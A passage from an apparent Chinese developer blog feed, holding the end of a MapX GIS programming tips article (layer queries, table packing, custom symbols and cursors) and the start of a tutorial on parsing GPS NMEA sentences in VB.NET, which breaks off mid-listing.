<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(1).Max = 150</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(1).Min = 50</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(2).Max = 250</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(2).Min = 150</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(3).Max = 350</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(3).Min = 250</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(4).Max = 450</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(4).Min = 350</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(5).Max = 550</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(5).Min = 450</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(6).Max = 650</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(6).Min = 550</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(7).Max = 750</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.RangeCategories(7).Min = 650</FONT></DIV>
<DIV><FONT face="Times New Roman">'thm.ComputeTheme = True</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.AutoRecompute = True</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.Visible = True</FONT></DIV>
<DIV><B><FONT face="Times New Roman">3</FONT></B><B>、在<FONT face="Times New Roman">Mapx</FONT></B><B>中查找对象有两种方式</B></DIV>
<DIV><FONT face="Times New Roman">1</FONT>）使用<FONT face="Times New Roman">Find</FONT>对象的<FONT face="Times New Roman">Search</FONT>方法。在<FONT face="Times New Roman">MapX3.5</FONT>中只能作到完全匹配查找，在<FONT face="Times New Roman">MapX4.0</FONT>中<FONT face="Times New Roman">SearchEx</FONT>方法则可以找到多个匹配的记录，其结果由<FONT face="Times New Roman"> FindResult.Matches</FONT>获取。详细请参看有关<FONT face="Times New Roman">Find.SearchEx </FONT>方法的文档以及示例。</DIV>
<DIV><FONT face="Times New Roman">2</FONT>）使用<FONT face="Times New Roman">Layer </FONT>对象的<FONT face="Times New Roman">OBJECT.Search (strWhere)</FONT>方法。其参数为<FONT face="Times New Roman">SQL</FONT>查询的<FONT face="Times New Roman">WHERE</FONT>子句。例如：</DIV>
<DIV><FONT face="Times New Roman">Set ftrs = lyr.Search("Character_Name = ""</FONT>北京市<FONT face="Times New Roman">""") </FONT>；</DIV>
<DIV><FONT face="Times New Roman">Set ftrs = lyrUSA.Search("TOTPOP &gt; 1000000")</FONT></DIV>
<DIV>注意：</DIV>
<DIV><FONT face="Times New Roman">1</FONT>）字符串外加两个双引号；</DIV>
<DIV><FONT face="Times New Roman">2</FONT>）首先将图层加入数据集<FONT face="Times New Roman">Datasets </FONT>才能使用查询。</DIV>
<DIV>模糊查询最方便的方法是使用第二种方法，例如：</DIV>
<DIV><FONT face="Times New Roman">Set ftrs = lyr.Search("Character_Name lik&#101; ""%</FONT>市<FONT face="Times New Roman">""") </FONT></DIV>
<DIV><B><FONT face="Times New Roman">4</FONT></B><B>、在<FONT face="Times New Roman">MapX</FONT></B><B>中如何紧缩表</B></DIV>
<DIV>在<FONT face="Times New Roman">Mapx4.51</FONT>下可以使用<FONT face="Times New Roman">LayerInfo </FONT>的创建带结构的临时表和新表的功能来完成紧缩：</DIV>
<DIV><FONT face="Times New Roman">Set lyr = Formmain.Map1.Layers(ToolBars.combo1.Text)</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ds = Formmain.Map1.Datasets.add(6, lyr) </FONT></DIV>
<DIV><FONT face="Times New Roman">'</FONT>获取被紧缩表的路径及表名</DIV>
<DIV><FONT face="Times New Roman">filespec = Formmain.Map1.Layers.Item(ToolBars.combo1.Text).filespec</FONT></DIV>
<DIV><FONT face="Times New Roman">layername = lyr.Name '</FONT>将表临时存放于内存<FONT face="Times New Roman"> </FONT></DIV>
<DIV><FONT face="Times New Roman"></FONT></DIV>
<DIV><FONT face="Times New Roman">LayerInfo.Type = 6 'miLayerInfoTypeTemp</FONT></DIV>
<DIV><FONT face="Times New Roman">LayerInfo.AddParameter "TableStorageType", "MemTable" '</FONT>临时文件保存在磁盘上还是内存。</DIV>
<DIV><FONT face="Times New Roman">LayerInfo.AddParameter "Name", "lyrpack"</FONT></DIV>
<DIV><FONT face="Times New Roman">LayerInfo.AddParameter "Fields", ds.Fields</FONT></DIV>
<DIV><FONT face="Times New Roman">LayerInfo.AddParameter "Features", lyr.AllFeatures</FONT></DIV>
<DIV><FONT face="Times New Roman">Formmain.Map1.Layers.add LayerInfo, LayerPos </FONT></DIV>
<DIV><FONT face="Times New Roman">Set LayerInfo = Nothing </FONT></DIV>
<DIV><FONT face="Times New Roman">'</FONT>从地图窗口删除原表</DIV>
<DIV><FONT face="Times New Roman">Formmain.Map1.Datasets.Remove (ds.Name)</FONT></DIV>
<DIV><FONT face="Times New Roman">Formmain.Map1.Layers.Remove (lyr.Name)</FONT></DIV>
<DIV><FONT face="Times New Roman">Formmain.Map1.Refresh</FONT></DIV>
<DIV><FONT face="Times New Roman">Set lyr = Nothing</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ds = Nothing </FONT></DIV>
<DIV><FONT face="Times New Roman">Set lyr = Formmain.Map1.Layers("lyrpack")</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ds = Formmain.Map1.Datasets.add(6, lyr)</FONT></DIV>
<DIV><FONT face="Times New Roman">'</FONT>从磁盘删除原表</DIV>
<DIV><FONT face="Times New Roman">Kill filespec</FONT></DIV>
<DIV><B><FONT face="Times New Roman">5</FONT></B><B>、在<FONT face="Times New Roman">MapX</FONT></B><B>中如何使用自定义栅格符号</B></DIV>
<DIV>使用自定义符号首先需要设定<FONT face="Times New Roman">style.SymbolType </FONT>为<FONT face="Times New Roman">miSymbolTypeBitmap</FONT>，然后指定<FONT face="Times New Roman">SymbolBitmapName </FONT>为栅格图像名即可。</DIV>
<DIV>下面的代码演示了如何在<FONT face="Times New Roman">delphi</FONT>中使用自定义的栅格符号</DIV>
<DIV>首先调用自定义工具画点</DIV>
<DIV><FONT face="Times New Roman">Procedure TForm1.new1Click(Sender: TObject);</FONT></DIV>
<DIV><FONT face="Times New Roman">Begin</FONT></DIV>
<DIV><FONT face="Times New Roman">map1.ControlInterface.CurrentTool :=111;</FONT></DIV>
<DIV><FONT face="Times New Roman">End;</FONT></DIV>
<DIV>在<FONT face="Times New Roman">tooluses</FONT>事件中如下：</DIV>
<DIV><FONT face="Times New Roman">procedure TForm1.Map1ToolUsed(Sender: TObject; ToolNum: Smallint; X1, Y1,X2, Y2, Distance: Double; Shift, Ctrl: WordBool;</FONT></DIV>
<DIV><FONT face="Times New Roman">var EnableDefault: WordBool);</FONT></DIV>
<DIV><FONT face="Times New Roman">var</FONT></DIV>
<DIV><FONT face="Times New Roman">ssymbol :cmapxstyle;</FONT></DIV>
<DIV><FONT face="Times New Roman">p: CMapXPoint;</FONT></DIV>
<DIV><FONT face="Times New Roman">f: cmapxfeature;</FONT></DIV>
<DIV><FONT face="Times New Roman">begin</FONT></DIV>
<DIV><FONT face="Times New Roman">ssymbol:=costyle.create;</FONT></DIV>
<DIV><FONT face="Times New Roman">ssymbol.SymbolType :=1;</FONT></DIV>
<DIV><FONT face="Times New Roman">ssymbol.SymbolBitmapSize:=25;</FONT></DIV>
<DIV><FONT face="Times New Roman">{</FONT>请注意将<FONT face="Times New Roman">test.bmp</FONT>文件考到<FONT face="Times New Roman">mapx </FONT>“共有文件路径”<FONT face="Times New Roman">+</FONT>“<FONT face="Times New Roman">\CUSTSYMB</FONT>”路径下<FONT face="Times New Roman">,</FONT>例如<FONT face="Times New Roman">C:\Program Files\Common Files\MapInfo Shared\MapX Common </FONT>是<FONT face="Times New Roman"> MapX </FONT>共有文件的缺省安装路径<FONT face="Times New Roman">}</FONT></DIV>
<DIV><FONT face="Times New Roman">ssymbol.SymbolBitmapName:='test.BMP';</FONT></DIV>
<DIV><FONT face="Times New Roman">p := CoPoint.Create;</FONT></DIV>
<DIV><FONT face="Times New Roman">f :=cofeature.Create ;</FONT></DIV>
<DIV><FONT face="Times New Roman">p.Set_(x1,y1);</FONT></DIV>
<DIV><FONT face="Times New Roman">if toolnum=111 then begin</FONT></DIV>
<DIV><FONT face="Times New Roman">f:=map1.ControlInterface.FeatureFactory.CreateSymbol(p,ssymbol);</FONT></DIV>
<DIV><FONT face="Times New Roman">map1.ControlInterface.Layers.Item(1).AddFeature(f,EmptyParam);</FONT></DIV>
<DIV><FONT face="Times New Roman">end;</FONT></DIV>
<DIV><FONT face="Times New Roman">end;</FONT></DIV>
<DIV><B><FONT face="Times New Roman">6</FONT></B><B>、在<FONT face="Times New Roman">MapX</FONT></B><B>中如何使用自定义鼠标</B></DIV>
<DIV>在<FONT face="Times New Roman">MapX4.0</FONT>，及以上版本中允许用户自定义鼠标。程序如下：</DIV>
<DIV><FONT face="Times New Roman">Map1.MousePointer = miCustomCursor</FONT></DIV>
<DIV><FONT face="Times New Roman">Map1.MouseIcon = "c:\windows\cursors\globe.ani" </FONT></DIV>
<DIV><FONT face="Times New Roman">MapX</FONT>中还对鼠标滚动轮提供支持，属性如下：</DIV>
<DIV><FONT face="Times New Roman">Map.MouseWheelSupport=miMousewheelNoAutoScroll</FONT></DIV>
<DIV><B>三、结语<FONT face="Times New Roman"> </FONT></B></DIV>
<P>在写这篇东东之前，似乎脑子里充满了要写下的经验，但写的时候感觉很多都是可意会不可言传的东西，所以写的不多，希望以后有机会能慢慢整理。如果你采用Mapinfo公司系列产品开发地理信息型系统的话，我们可以进行深入的探讨。</P>
<P>摘:http://www.gissky.net/gaindetail.asp?ID=67</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=72" /> 
	  <id>http://www.openx.cn/default.asp?id=72</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[怎样写一个GPS应用程序1—介绍2]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-11T21:33:11+08:00</updated>
	  <published>2005-10-11T21:33:11+08:00</published>
		  <summary type="html"><![CDATA[如你所看到的，整个信息被打包在一条单一的NMEA语句中。现在这个$GPRMC语句已经完全被描述出来了，这个描述器可以扩展用来支持第二条语句：$ GPGSV，这个语句实时地表达了卫星的形态。<BR><BR>对于确定数据精确度和GPS稳定性，卫星的位置是非常重要的信息。既然GPS精确读将被详细地在这两部分介绍，那么这一部分将主要描述卫星位置和信号的强度。<BR><BR>卫星二十四小时在轨道上运转着，它们在任一时间、任一地点上都至少有六颗能被用户看到。卫星不断地监测地球，这样就避免出现一些盲点或者卫星无法看到的地 方。就像在天空中找星星一样，卫星的位置被表示为一个方位角和高程。如前面所述，方位角为直接水平测量。高程测量则为一个与水平面的夹角，其中0°表示水 平，90°表示为“天顶”（或者说是头顶）。因此，如果设备说卫星的方位角为45°且高程为45°，那么卫星现在的位置就是处于水平的东北方向，高度为一 半的位置。另外对于卫星位置，设备报告每个卫星的“随机伪代码”（简称PRC），这个数值用来唯一标示一个卫星。<BR><BR>这里有一个关于 $GPGSV 的语句：<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(255,255,0)">$GPGSV,3,1,10,24,82,023,40,05,62,285,32,01,62,123,00,17,59,229,28*70</SPAN><BR><BR>每条语句包含四部分内容，例如：第一部分是“24,82,023,40”，第二部分是“05,62,285,32”等等。每部分的第一个词为PRC，第二个词为卫星高程，跟着为方位角和信号强度。如果这个卫星信息用图来显示，那么就如图 1-1。<BR><BR>
<DIV style="TEXT-ALIGN: center">[img]http://www.gissky.net/gisskyWEditor/UploadFile/200583111640369.jpg[/img]<BR></DIV><BR>
<DIV style="TEXT-ALIGN: center">（<SPAN style="FONT-STYLE: italic">图 1-1：$GPGSV语句的图形表示，中心点为当前位置，周边的圆标示水平面。</SPAN>）<BR></DIV><BR>这个语句里最重要的指标应该算是“信号躁声比（signal-to-noise ratio）”（以下简称为SNR）。这个数值标示卫星信号的接收率。我们知道，卫星是以相同的强度发射信号，但是传播过程中难免会遇到诸如树和墙之类的 障碍物，这样就影响了信号的识别。典型的SNR值在0到50之间，其中50表示非常好的信号。（SNR可以达到99，但是我还从来没有见过50以上的数据 哦。）。在图 1-1里，绿色卫星表示强信号，然而黄色卫星则为中等（在第二部分，我将提供一个方法来实现信号强度的分类）。卫星#1的信号完全被阻挡了。清单 1-7 说明了扩展读取卫星信息后的描述器。<BR><BR>清单 1-7：描述器添加了描述GPS卫星当前位置的功能。<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; Listing 1-7.&nbsp; Extracting satellite information</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Raised when the current location has changed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event DateTimeChanged(ByVal dateTime As DateTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event BearingReceived(ByVal bearing As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedReceived(ByVal speed As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event FixObtained()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event FixLost()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SatelliteReceived(ByVal pseudoRandomCode As Integer, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ByVal azimuth As Integer, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ByVal elevation As Integer, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ByVal signalToNoiseRatio As Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Processes information from the GPS receiver</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Discard the sentence if its checksum does not match our calculated</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Not IsValid(sentence) Then Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Look at the first word to decide where to go next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' A "Recommended Minimum" sentence was found!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPGSV"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' A "Satellites in View" message was found</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPGSV(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was not recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Divides a sentence into individual words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">' Interprets a $GPRMC message</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to describe our location?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" And Words(5) &lt;&gt; "" And _ </SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract latitude and longitude</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°"&nbsp; ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°" ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify the calling application of the change</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to parse satellite-derived time?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(1) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract hours, minutes, seconds and milliseconds</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcHours As Integer = CType(Words(1).Substring(0, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMinutes As Integer = CType(Words(1).Substring(2, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcSeconds As Integer = CType(Words(1).Substring(4, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMilliseconds As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Extract milliseconds if it is available</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(1).Length &gt; 7 Then UtcMilliseconds = _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CType(Words(1).Substring(7), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Now build a DateTime object with all values</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Today As DateTime = System.DateTime.Now.ToUniversalTime</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SatelliteTime As New System.DateTime(Today.Year, Today.Month, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today.Day, UtcHours, UtcMinutes, UtcSeconds, UtcMilliseconds)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new time, adjusted to the local time zone</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent DateTimeChanged(SatelliteTime.ToLocalTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract the current speed?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(7) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes.&nbsp; Convert it into MPH</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Speed As Double = CType(Words(7), Double) * 1.150779</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' If we're over 55MPH then trigger a speed alarm!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Speed &gt; 55 